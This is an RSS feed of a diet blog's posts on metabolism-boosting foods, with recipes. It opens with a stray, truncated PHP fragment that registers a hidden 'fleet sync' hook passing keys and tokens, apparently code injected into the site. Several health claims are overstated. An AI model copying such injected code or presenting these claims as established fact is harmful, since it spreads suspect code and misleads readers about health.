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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Boost Your Metabolism – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Thu, 18 Sep 2014 17:50:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Boost Your Metabolism – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Art of Snacking https://skinnygeneprojectnew.dreamsites.io/art-snacking/ https://skinnygeneprojectnew.dreamsites.io/art-snacking/#respond Thu, 18 Sep 2014 17:50:17 +0000 http://skinnygeneproject.dreamhosters.com/?p=2240 Art of snackingArt has no boundaries and exists in many forms.  Art can be three dimensional objects, a song or a doodle on a meeting agenda.  Actions can be art forms as well.  I have many friends who would consider themselves masters at the art of bargain shopping.  But there is one action they have not mastered, and that is the “art of snacking.”  The art of snacking can be a benefit to your health, if snack foods are healthy choices.  You can actually snack in a way that boosts your metabolism, and not the pounds.

Snacking Leads to Boosting Your Metabolism

Metabolism is the process in which your body turns the food and beverages you consume into energy.  There are different factors, such as age and gender that affect metabolism, another is food.  Certain foods can facilitate an increase in metabolism and burn some of that unwanted calories and body fat.  Preparing your snacks should include some of these metabolism boosting foods and beverages, which include: egg whites, lean meats, water, grapefruit, chili peppers, green tea, milk (low- or non-fat), whole grains, and lentils.

  • Egg whites contain branched-chain amino acids that will speed up your metabolism and burn fat.
  • Lean meats and lentils are both rich in iron.  A diet low in iron can actually slow metabolism down by not efficiently burning calories.
  • Chili peppers and green tea contain chemical compounds, capsaicin in chilies and EGCG in green tea that also gives your metabolism a boost.
  • Consuming milk and other dairy products have been shown to metabolize fat more efficiently.
  • Whole grains are an excellent source of fiber.  It not only aids with keeping cholesterol and blood sugars low, it helps metabolism by taking longer for whole grains to break down during digestion.
  • Grapefruit has been shown to help with weight loss due to its effects on insulin, a fat-storage hormone, making it a great weight loss snack.
  • Lastly, I cannot stress enough the importance of water.  Living in Southern California, we are just starting to feel the heat, compared to Mt. Rushmore in South Dakota, where it is actually snowing.  But keeping hydrated is very important, even mild dehydration can slow down metabolism.

When you are feeling hungry and in need of a snack, take a few of these ingredients and think of them as beautiful colors of paint.  Your pot, pan or mixing bowl is your blank canvas, and what ends up on your plate is your very own masterpiece of art.  But if you are like me and have a hard time coloring inside the lines, click on the links below for recipes to boost your metabolism.

Spiced Green Tea Smoothie

Honey Grapefruit with Banana

Banana & Almond Butter Toast

Curried Egg Salad Sandwich

Ham, Sliced Pear & Swiss Sandwich

Sunflower Lentil Spread

]]> https://skinnygeneprojectnew.dreamsites.io/art-snacking/feed/ 0 Boost Your Metabolism https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-2/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-2/#comments Wed, 01 Feb 2012 00:08:04 +0000 http://skinnygeneproject.dreamhosters.com/?p=1406 Metabolism – the thing that most of us take for granted until we reach our 30’s, then we start noticing that the food we’re eating is lingering a little longer on our butts, hips and thighs. Gone are the days that you can eat whatever you want, whenever you want.

Adding to the frustration is the fact that not all metabolism perform equally. Where one person can just look at food and gain weight another can eat whatever they want and not gain a pound?

Before you decide to hijack somebody else’s metabolism or simply give-up on your own, know this… every body has a Skinny Gene. Some people just have to put in a little more effort to get their metabolism working for them, rather than against them.

We, the Skinny Gene Project, specialize in creating healthy metabolisms. To help you ignite your Skinny Gene, we put together a FREE email series on foods you can eat that will improve your overall health and boost your metabolism. SIGN UP TODAY

Your metabolism is one of the most complicated systems in your body. Some people with a master’s degree in nutrition have a hard time understanding all of its complexities, so how can you be expected to know how to speed up your metabolism? That’s why we’re here to help!

HOW TO SPEED UP YOUR METABOLISM

Unfortunately, there is no miracle pill or food, that when taken by itself, will boost your metabolism. Think of your metabolism as being a system that only operates because of the sum of its parts, like a bicycle.

Similar to a bicycle, your metabolism needs momentum (action) to work. You have to exert energy to push the pedals. The harder you pedal, the faster you go. Like the bicycle, the more exercise and energy you exert the better your metabolism will perform.

Exercise (energy) is just one part. You also need to eat the right foods, in the right quantities, to optimize your metabolism.

The food is the foundation; it is the “wheel” that keeps your metabolism going. Just as the spokes of the wheel support the rim, the quality of the foods you eat support the health of your metabolism.

Imagine that each spoke on the wheel represents: water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals. To make your metabolism as “strong” as possible, you would need to ensure that your body is getting the right amount of each nutrient (e.g. fiber). Eating too much or too little of each element could slow down your metabolism, like peddling through mud or having sticks in your spokes.

Below are 25 of our favorite foods to improve your metabolism (in no particular order):

Metabolism Boosting Foods

  1. Cocoa
  2. Water
  3. Blueberries
  4. Flax
  5. Sweet potato
  6. Avocado
  7. Tomato
  8. Yogurt
  9. Cinnamon
  10. Garlic
  11. Beans
  12. Almonds
  13. Apples
  14. Egg whites/Beaters
  15. Soybean
  16. Lemon
  17. Ginger
  18. Brussel sprouts
  19. Spinach
  20. Olive oil
  21. Oats
  22. Fish
  23. Cottage cheese
  24. Chick peas
  25. Lima beans

Sign up for our FREE newsletter series that talks about our top 10 foods, why they can help your metabolism , and how to avoid traps that can slow down the metabolism.

We hope the information above and our free email series, Boost Your Metabolism, will give you some guidance and get on the path towards living a longer, healthier life. (click to sign up)

Have additional questions and would like to speak with a nutritionist, feel free to contact us. We’re always here to help.

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]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-2/feed/ 2 20 foods in 1 Metabolic Boosting Day https://skinnygeneprojectnew.dreamsites.io/20-foods-in-1-metabolic-boosting-day/ https://skinnygeneprojectnew.dreamsites.io/20-foods-in-1-metabolic-boosting-day/#respond Wed, 13 Jul 2011 01:10:14 +0000 http://skinnygeneproject.dreamhosters.com/?p=1289 For the last several weeks, we’ve been sharing our favorite everyday foods that can boost your metabolism. (Click here to see the original BOOST YOUR METABOLISM article).  Now we want to show you how you can put it all together for 1 metabolic boosting day!

The top 20 foods (below) can easily be included in your everyday metabolism maximizing meals!  Here is a sample day!  Let us know how you are incorporating these mega metabolism foods in your day!

OUR TOP 20 METABOLISM BOOSTING FOODS

1. Cocoa

2. Water

3. Blueberries/Berries

4. Flax

5. Sweet Potato

6. Avocado

7. Tomato

8.  Yogurt

9. Cinnamon

10.  Garlic

11. Beans

12. Almonds

13. Apples

14. Egg whites/beaters

15. Soybean

16. Lemon

17. Ginger

18. Brussel sprouts

19. Spinach

20. Olive oil

MEAL PLAN ( 1-day)

Breakfast:

Oatmeal with cinnamon and  cocoa

Egg sub with spinach, tomatoes, onions, and beans, wrapped in high fiber tortilla

Snack:

Fat free/sugar free Vanilla Yogurt w/ 1 Tablespoon Flaxseed, ½ cup blueberries

Apple

Lunch:

Spinach salad with avocado, orange, tomato, squeeze of lemon and olive oil vinagrette

Snack:

almonds

edamame

Dinner:

Ginger soy salmon

Sweet potatoes

Garlic brussel sprouts

All-day:  Water!!!!!!  Divide your weight by 2 to give you an estimate of how much water you need!

]]> https://skinnygeneprojectnew.dreamsites.io/20-foods-in-1-metabolic-boosting-day/feed/ 0 Boost Your Metabolism- Garlic https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-garlic/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-garlic/#respond Mon, 27 Jun 2011 22:04:57 +0000 http://skinnygeneproject.dreamhosters.com/?p=1280 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM. This is the 10th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM

The secret to boosting your metabolism is FEEDING your body what it needs.

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The tenth and FINAL food  in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is GARLIC!

BENEFITS OF GARLIC    

 

Photo by Mullica

 

 Garlic, which is sometimes referred to as the “stinking rose”, may have you reaching for a slice of gum, but that is not all garlic does for you!  There are some unbelievable metabolism boosting health benefits packed in those tiny cloves.

Although our breath may not love garlic, our hearts certainly do!  Garlic helps regulate our blood pressure, keeps our arteries free of plaque, lowers cholesterol and triglycerides, and lowers our risk of heart attack.  When our heart is healthy, our body’s metabolism will function at a better rate.

A few research studies have found a relationship with daily garlic intake and the improvement in insulin sensitivity, which lowers your risk of diabetes and helps with weight loss.  Garlic also has antioxidant properties which help fight the bad free radicals that try to slow our metabolism as well.

Garlic should be a part of our diet everyday!  Here are great recipes to try!

For a health bonus, allow your cut garlic to sit for 5 minutes prior to cooking or mixing with ingredients.  The 5 minutes is worth the wait!

RECIPES

 

  Submitted By: Danni

Prep Time: 5 MinutesCook Time: 10 Minutes Ready In: 15 MinutesServings: 4

“Thinly sliced garlic is a simple way to jazz up plain old spinach. With just a touch of butter and a quick stir, you’ll have a vegetable side dish that tastes great and pairs with just about anything!”

Ingredients:

1 tablespoon unsalted butter6 cloves garlic, thinly sliced2 (10 ounce) bags fresh spinach 1 teaspoon garlic salt1/2 lemon, juiced

 

Directions:

1. Heat the butter in a skillet over medium heat. Stir in the garlic; cook and stir until the garlic is fragrant, about 2 minutes. Add the spinach a few handfuls at a time, stirring until wilted before adding more, about 5 minutes. Stir in the lemon juice, and season with garlic salt.

Lemon Garlic Salmon:

http://www.garlicrecipes.org/lemon-garlic-salmon.html

2 tablespoons of butter.
2 teaspoons of garlic, minced.
1 teaspoons of lemon pepper.
2 six-ounce salmon fillets.
Lemon juice.

Instructions:

Melt the 2 tablespoons of butter in a suitably-sized skillet over medium-high heat.

Stir in the 2 teaspoons of minced garlic.

Season the fillets of salmon on both sides with the lemon pepper.

Place the fillets in a pan and cook until it flakes when tested with a fork. Make certain to flip the fillets midway through cooking to brown on each side.

Sprinkle with lemon juice.

Serve.

   

Garlic Kale

“A delicious, garlicky way to cook the underused, antioxidant rich kale!”

Ingredients:

1 bunch kale2 tablespoons olive oil 4 cloves garlic, minced

 

Directions:

1. Tear the kale leaves into bite-size pieces from the thick stems; discard the stems.
2. Heat the olive oil in a large pot over medium heat. Cook and stir the garlic in the hot oil until softened, about 2 minutes. Add the kale and continue cooking and stirring until the kale is bright green and wilted, about 5 minutes more
]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-garlic/feed/ 0 Boost Your Metabolism- Cinnamon https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-cinnamon/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-cinnamon/#respond Mon, 27 Jun 2011 21:29:05 +0000 http://skinnygeneproject.dreamhosters.com/?p=1277 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM. This is the 9th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM

The secret to boosting your metabolism is FEEDING your body what it needs.

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The ninth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is CINNAMON!

BENEFITS OF CINNAMON

Usually the foods that maximize your metabolism are rich colorful foods loaded with amazing health properties, but don’t let the fine, ground, brown cinnamon powder fool you. Just ¼ to 1 teaspoon of cinnamon a day can drastically improve your glucose metabolism, meaning it helps the body use insulin efficiently.

Cinnamon does this by taking the glucose (sugar) out of the blood and brings it into the cell where it is burned as energy.  By eating cinnamon daily, you can keep your blood sugar at a more stable level, reducing your risk for diabetes.  Don’t forget a stable blood sugar can also stabilize your appetite!

An added bonus – Cinnamon also has been found to reduce your blood lipids, including cholesterol and triglycerides. 

Cinnamon has high concentrations of a polyphenol called methylhydroxy chalcone polymer (MHCP). MHCP has disease prevention properties and can reduce your risk of insulin resistance, type 2 diabetes, and heart disease. 

Making an effort to add cinnamon to your daily routine is a smart choice! 

Try adding cinnamon to milk, yogurt, oatmeal, cereal, fruits, or other beverages.  Here are a few ideas to start your day off with a little spice!

RECIPES

Peanut Banana Cinnamon Smoothie

http://herbsspices.about.com/od/smoothies/r/PBCinnamon.htm

Cinnamon spices up this banana and peanut butter smoothie. Tip: try freezing the banana chunks in advance for a frostier smoothie. 

Makes 1 medium (about 12 ounce) or 2 small (about 6-ounce) smoothies.

Prep Time: 5 minutes

Total Time: 5 minutes

Ingredients:

·         1 cup vanilla soy milk or skim milk

·         1 large banana, peeled and cut into chunks

·         2 tablespoons peanut butter (preferably natural)

·         1/2 teaspoon cinnamon, plus more for sprinkling

·         1 teaspoon honey or turbinado sugar (optional)

·         3 ice cubes

Preparation:

Place the milk, banana, peanut butter, cinnamon, and honey (if using) into a blender, and puree until smooth.

Add the ice cubes and pulse just until the ice is crushed.

Pour into a glass, sprinkle with additional cinnamon, and enjoy!

 

Apple Cinnamon Smoothie 

http://www.healthy-recipes-for-kids.com/apple-cinnamon-smoothie.html

Hint:It is really easy if you prepare the apples the night before.

Ingredients:

1 cup of milk
1 cup vanilla yogurt
1 small apple
1/2 teaspoon ground cinnamon

handful of ice cubes

Preparation:

Wash and peel apple.
Cut up into cubes and take out the seeds.
Add ingredients and blend for one minute.

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-cinnamon/feed/ 0 Boost Your Metabolism Series- Yogurt https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-yogurt/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-yogurt/#respond Mon, 13 Jun 2011 19:55:20 +0000 http://skinnygeneproject.dreamhosters.com/?p=1264 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM. This is the 8th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM

The secret to boosting your metabolism is FEEDING your body what it needs.

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The eighth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is YOGURT!

BENEFITS OF YOGURT

 
 

Photo by Ashles

Yogurt is one of the few animal products that makes the list of super foods to boost your metabolism. The creamy consistency, not only tastes delicious, but provides your body with some unbelievable benefits.  Yogurt contains probiotics – the good bacteria (naturally present in yogurt) that helps with the digestion of food, absorption of nutrients, and keeps your gut healthy. 

Fat burning bonus:  Researchers have found that increasing your intake of dairy improves your metabolism of fat, which helps trim your waist line. 

Yogurt is a good source of Calcium and Vitamin D, and it contains important micronutrients required for functioning of your heart, muscles (calorie burners), nerve functioning, blood clotting, and bone health.

There are so many delicious ways to enjoy the benefits of yogurt. Pineapple upside down cake, raspberry cheesecake, apple turnover, Boston cream pie, and red velvet cake are some of the fun flavored choices of Light Yoplait yogurt.  

That leads us to one more wonderful benefit of yogurt- it is low in calories. With only 60-110 calories per serving, yogurt is a great choice as a snack or dessert.  You can keep yogurt interesting by pairing vanilla yogurt with fresh fruits, especially berries or blend together for a smoothie.

Yogurt can also be a nice substitution to lower fat when baking.  Here are some tips from Taste of Home (http://www.tasteofhome.com/Healthy/Recipe-Makeovers/Baking-Techniques/Yogurt-for-Lower-Fat-Baking­)

  • When a recipe calls for butter, replace half the butter with half as much yogurt. For instance, instead of 1 cup butter, use 1/2 cup butter and 1/4 cup yogurt.
  • When a recipe calls for shortening or oil, replace half the oil with 3/4 the amount of yogurt. For example, instead of 1 cup oil, use 1/2 cup oil and 1/4 cup plus 2 tablespoons yogurt.
  • Substitute yogurt cup for cup for sour cream in recipes.
  • Yogurt can even replace some of the water or milk in a recipe. Start by substituting 1/4 of the liquid with yogurt. The result will be creamier and more flavorful.

RECIPES

Granola-Whole Wheat Waffles with Double-Berry Sauce
http://www.yoplait.com/recipe/granola-whole-wheat-waffles-with-double-berry-sauce?print=true 
 Are you a weekend breakfast chef? Serve wheaty granola waffles in your home restaurant.

 

Prep Time:25 min
Start to Finish:25 min
Makes:24 (4-inch) waffles

Ingredients

Sauce
2/3 cup maple-flavored syrup
2/3 cup raspberry jam or preserves
1 cup strawberries, cut into fourths
Waffles
1 1/2 cups Original Bisquick® mix
1/2 cup granola cereal
1/2 cup Gold Medal® whole wheat flour
1 1/2 cups milk
3 tablespoons vegetable oil
2 eggs
1 container (6 oz) Yoplait® Original strawberry yogurt (2/3 cup)

Directions

1. In 1 1/2-quart saucepan, heat syrup and jam to boiling, stirring occasionally. Stir in strawberries; remove from heat and keep warm.
2. Heat waffle iron; grease with shortening if necessary (or spray with cooking spray before heating).
3. In medium bowl, stir all waffle ingredients until blended. Pour batter by 2/3 cupfuls onto center of hot waffle iron; close lid.
4. Bake 2 to 3 minutes or until steaming stops and waffle is golden brown. Carefully remove waffle. Serve with sauce.
High Altitude (3500-6500 ft): Bake about 4 minutes.

 

Strawberry Smoothie
http://www.yoplait.com/recipe/strawberry-smoothieTropical yogurt and fresh fruit mix it up in this terrific blender drink.

 

Prep Time:10 min
Start to Finish:10 min
Makes:1 serving

Ingredients

1 container(6 oz) Yoplait® Original 99% Fat Free strawberry, strawberry kiwi or strawberry mango yogurt
1/2 cup sliced fresh or frozen strawberries
1/2 cup orange or pineapple juice
  Pineapple chunks, strawberries or kiwifruit slices, if desired

Directions

 1. In blender, place yogurt, strawberries and juice. Cover; blend on medium speed about 2 minutes or until smooth.
2. Pour into serving glass. Garnish with pineapple. Serve immediately.

 

Caramel Apple Yogurt Parfaits
Enjoy this delicious parfait layered with Yoplait® 99% Fat Free yogurt, apples and caramel topping that is ready in 10 minutes – perfect for a dessert.

 

Prep Time:10 min
Start to Finish:10 min
Makes:4 servings

Ingredients

2 cups Yoplait® 99% Fat Free creamy vanilla yogurt or Yoplait® Fat Free plain yogurt (from 2-lb container)
2 medium unpeeled apples or pears, cut into chunks (2 cups)
1/4 cup caramel fat-free topping
2 tablespoons coarsely chopped pecans or walnuts

 

Directions

1. Reserve 1/4 cup yogurt for topping. Divide remaining yogurt among 4 (8-oz) glasses or dessert dishes. Spoon 1/2 cup of the apple chunks over yogurt in each glass.
2. Top each with 1 tablespoon of the remaining yogurt. Spoon 1 tablespoon caramel topping over yogurt. Sprinkle pecans over each parfait. Serve immediately.

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-yogurt/feed/ 0 Boost Your Metabolism Series- Tomato https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/#respond Mon, 06 Jun 2011 20:22:23 +0000 http://skinnygeneproject.dreamhosters.com/?p=1257 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 7th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The seventh one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is TOMATO!

BENEFITS OF TOMATO

Photo by Maplessinseattle

The debate may go on whether the tasty tomato is a fruit or a vegetable, but one thing is for sure, the tomato is a super food for your body’s metabolism.  Tomatoes are naturally low in calories and high in fiber, both good for satisfying your appetite and maintaining a healthy weight. 

Tomatoes are rich in antioxidants that fight the bad free radicals that are unfortunately present during nutrient metabolism or from the environment (such as pollution and UV rays).  The good news is that a good intake of antioxidant rich fruits and vegetables, including high amounts of tomatoes,  counteract these free radicals. 

The antioxidant most prevalent  in the tomato is lycopene, which is found in large quantities in the outer skin of the tomato, but also found inside too.  Research has found that intake of these antioxidants help protect your body’s cells from damage and decrease risk of heart disease and cancer, especially prostate cancer in men.

Caution: Watch the calories when adding tomato sauce to spaghetti.The calories  in a plate full of pasta can quickly add up. 

Other tomato-based foods that can be dangerous are jars of salsa, cans of diced tomatoes, tomato juice, and tomato soup – all are loaded with sodium.  Be sure to read the labels of these tomatoes for “no added salt” or “low sodium”. 

Incorporating tomatoes into your everyday routine is essential to optimize your metabolism and your health.  Here are a few ideas and recipes to try.

Add tomatoes to all of your meals!

  • Add a slice on every sandwich and in your wrap
  • Top your salad with baby tomatoes, diced tomatoes, or wedges
  • Add chopped tomatoes to eggs and omelets
  • Tomatoes are a nice addition to cottage cheese
  • Add to pizzas, pastas, stir-fry, and kebabs 

 RECIPES

Baked Parmesan Tomatoes

http://www.eatingwell.com/recipes/baked_parmesan_tomatoes.html

From EatingWell:  August/September 2006

A sprinkle of Parmesan and a drizzle of olive oil transform tomatoes into the perfect side dish. Or try sandwiching them between slices of your favorite whole-wheat country bread.

4 servings | Active Time: 5 minutes | Total Time: 20 minutes

Ingredients

  • 4 tomatoes, halved horizontally
  • 1/4 cup freshly grated Parmesan cheese
  • 1 teaspoon chopped fresh oregano
  • 1/4 teaspoon salt
  • Freshly ground pepper, to taste
  • 4 teaspoons extra-virgin olive oil

Preparation

  1. Preheat oven to 450° F.
  2. Place tomatoes cut-side up on a baking sheet. Top with Parmesan, oregano, salt and pepper. Drizzle with oil and bake until the tomatoes are tender, about 15 minutes.

Nutrition

Per serving : 91 Calories; 6 g Fat; 2 g Sat; 4 g Mono; 4 mg Cholesterol; 6 g Carbohydrates; 3 g Protein; 2 g Fiber; 375 mg Sodium; 363 mg Potassium

Caprese Salad

http://www.eatingwell.com/recipes/caprese_salad.html

From EatingWell:  July/August 2008

Summer-ripe tomatoes and fresh mozzarella need only a sprinkling of fresh herbs, salt and pepper to shine in this simple summer salad.

4 servings, about 1 1/4 cups each | Active Time: 15 minutes | Total Time: 15 minutes

Ingredients

  • 2 medium red tomatoes, cut into wedges
  • 2 medium yellow tomatoes, cut into wedges
  • 3/4 cup diced fresh mozzarella cheese
  • 1/4 cup chopped fresh parsley
  • 2 tablespoons chopped fresh basil
  • 1/4 teaspoon salt
  • Freshly ground pepper, to taste

Preparation

  1. Gently toss tomatoes, mozzarella, parsley, basil and salt together in a large bowl. Season with pepper.

Nutrition

Per serving : 88 Calories; 5 g Fat; 3 g Sat; 0 g Mono; 17 mg Cholesterol; 6 g Carbohydrates; 5 g Protein; 2 g Fiber; 187 mg Sodium; 444 mg Potassium 

Halibut with tomato basil salsa

By Mayo Clinic staff

Dietitian’s tip: Halibut — in addition to cod, flounder and perch — is a lean fish, having less than 2.5 percent fat by weight. For a variation to this recipe, grill the halibut and spoon the tomato basil salsa over each fillet to serve.

By Mayo Clinic staff

Serves 4

Ingredients

2 tomatoes, diced
2 tablespoons fresh basil, chopped
1 teaspoon fresh oregano, chopped
1 tablespoon minced garlic
2 teaspoons extra-virgin olive oil
4 halibut fillets, each 4 ounces

Directions

Preheat the oven to 350 F. Lightly coat a 9-by-13-inch baking pan with cooking spray.

In a small bowl, combine the tomato, basil, oregano and garlic. Add the olive oil and mix well.

Arrange the halibut fillets in the baking pan. Spoon the tomato mixture over the fish. Place in the oven and bake until the fish is opaque throughout when tested with the tip of a knife, about 10 to 15 minutes.

Transfer to individual plates and serve immediately.

Nutritional Analysis

(per serving)

Serving size: 1 fillet
Calories 160 Cholesterol 36 mg
Protein 24 g Sodium 65 mg
Carbohydrate 3 g Fiber 1 g
Total fat 5 g Potassium 672 mg
Saturated fat 1 g Calcium 66 mg
Monounsaturated fat 3 g    

 

Avocado Bruschetta

http://www.myrecipes.com/recipe/avocado-bruschetta-10000001021247/

Photo by: Howard L. Puckett

  • YIELD: Makes 3 dozen
  • COURSE: Appetizers, Hors d’Oeuvres

Ingredients

  • 2 avocados, cubed
  • 2 plum tomatoes, seeded and diced
  • 2 green onions, chopped
  • 2 tablespoons fresh lime juice
  • 1 tablespoon white wine vinegar
  • 1 tablespoon olive oil
  • 2 teaspoons hot sauce
  • 1/2 teaspoon garlic powder
  • 1/4 teaspoon ground white pepper
  • 1/2 teaspoon salt
  • 3 tablespoons olive oil
  • 1 garlic clove, minced
  • 1/2 teaspoon salt
  • 36 French baguette slices
  • 1/4 cup fresh cilantro, chopped

Preparation

Combine first 10 ingredients in a bowl; toss gently to combine. Cover and chill 2 hours.

Combine 3 tablespoons olive oil, garlic, and salt. Place bread slices on a baking sheet, and brush evenly with olive oil mixture. Bake at 350° for 12 minutes or until toasted; cool.

Top each toast evenly with avocado mixture. Sprinkle with cilantro before serving.

Coastal Living JANUARY 2005

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/feed/ 0 Boost Your Metabolism Series- Sweet Potato https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-sweet-potato/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-sweet-potato/#respond Fri, 20 May 2011 22:09:59 +0000 http://skinnygeneproject.dreamhosters.com/?p=1237 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 5th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The fifth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is SWEET POTATO!

BENEFITS OF  SWEET POTATO

Photo by Sweet Mustache

You say potato, I say po-tat-to!  No matter how you say it, be sure you add the sweetness.  

The sweet potato could not be more misleading for those of us wanting to control our blood sugar.   When compared to the ordinary white potato, the sweet potato is lower in carbohydrates and calories.

 The calories you save will keep your body on target for a healthy weight, while providing a powerful punch of antioxidants that are associated with disease prevention.

 

The sweet truth about how sweet potatoes can help boost your metabolism

The lower carbohydrate content and the bonus fiber  content keeps your blood sugar stable, while satisfying your appetite on less calories. The combination of these two factors (low calorie and added fiber) helps keep your body at a healthy weight and you metabolism functioning at its best.

How to get the added benefits without adding the extra calories

 The rich orange sweet potato is a great addition to any meal: baked, mashed, boiled, and flavored sweet or spicy.   But there are a few dangerously high calorie and high fat sweet potato dishes to be aware of, including the sweet potato casserole and sweet potato fries found in many restaurants. To enjoy the slimming benefits of eating a sweet potato, try making sweet potato fries at home.

Making homemade sweet potato fries can be quite simple, slice up the sweet potato in coins or wedges, spray baking sheet with Pam cooking spray and bake or broil until desired browning, season with onion, garlic, or your favorite seasoning.  Ready in about 10 minutes without any added fat.

Get an added fiber bonus by eating the skin of your potato! 

TRY THESE SWEET POTATO RECIPES

Pork Chops with Sweet Potatoes

Modified from original recipe ——- 12  best foods cookbook, Dana Jacobi 

Changes made:  substituted nonfat yogurt and skim milk in place of ½ and ½ and butter, instructed to leave skins on both sweet potatoes and apple for increased fiber, made own bread crumbs from a whole grain bread to lower GI and increase fiber. 

Ingredients:

3 medium sweet potatoes

2 Tablespoon plain nonfat yogurt

½ teaspoon Thai red chile paste

2 Tablespoons skim milk

Salt and Pepper

1 small red onion, finely chopped

½ Golden Delicious apple, finely chopped

2 slices whole grain bread, toasted and crumbled to breadcrumbs

4 (1 ½ inch thick) lean boneless center cut pork chops (5-6 oz each)

1 teaspoon paprika

¼ teaspoon onion powder

  1. Preheat the oven to 400 degrees.  Roast the sweet potatoes for approximately 30 minutes or until soft.  Mashed potatoes.  There should be 3 cups.  Reduce the oven temperature to 350 degrees. 
  2. For the gravy, in a bowl combine 2 1/3 cups of the sweet potatoes with the yogurt, chile paste and skim milk.  Season to taste with salt and pepper.  Spread the creamy potatoes to cover the bottom of an 8 inch square baking dish.  Set aside.
  3. For the stuffing, in a second bowl, combine the remaining sweet potato within the onion, apple, and breadcrumbs.  Season to taste with salt and pepper.
  4. Make a 3 ½ x 2 ½  inch pocket in each pork chop.  Pack the stuffing generously into the pockets.  Combine the paprika, ¼ teaspoon salt, and onion powder in a small bowl.  Rub 1 side of each chop with this mixture and set them seasoned side down on top of the sweet potatoes in the baking dish.  Rub the remaining seasoning on top of each chop.  Cover the pan with foil. 
  5. Bake for 35 minutes.  Uncover and bake the dish for 10 minutes longer, until they are nicely browned on top. 

 

Makes 4 servings

Calories:  354

Carbohydrates:  31.3 grams

Fiber:  5 grams

Protein:  41 grams

Fat:  8 grams

Sat Fat:  2.65 gram

Ranking:  Skinny Gene Level 2

Sweet Potato Soup

12  best foods cookbook, Dana Jacobi 

Ingredients:

2 large sweet potatoes, chopped

1 small bag of baby carrots (1/2 pound)

2 medium fuji apples, chopped

1 onion, chopped

1 T Canola oil

3 C fat free, reduced sodium chicken broth

cooking spray

Instructions:

  1. Chop sweet potatoes, carrots, and apples into 2-3 inch pieces and place a single layer on a baking sheet.  Coat ingredients with cooking spray and allow to roast in oven at 400 degrees Fahrenheit for ~ 30 minutes.
  2. In a large pot, heat oil over medium heat and sauté onions until golden brown.  Then add roasted sweet potato, apple, carrots and chicken broth.  Bring to a boil, then reduce heat to a simmer for 20 minutes. 
  3. Puree the soup in a blender.

 

Makes 4 servings

Calories:  269

Carbohydrates:  48 grams

Fiber:  8 grams

Protein:  5 grams

Fat:  7 grams

Sat Fat:  2 gram

Ranking:  Skinny Gene Level 2

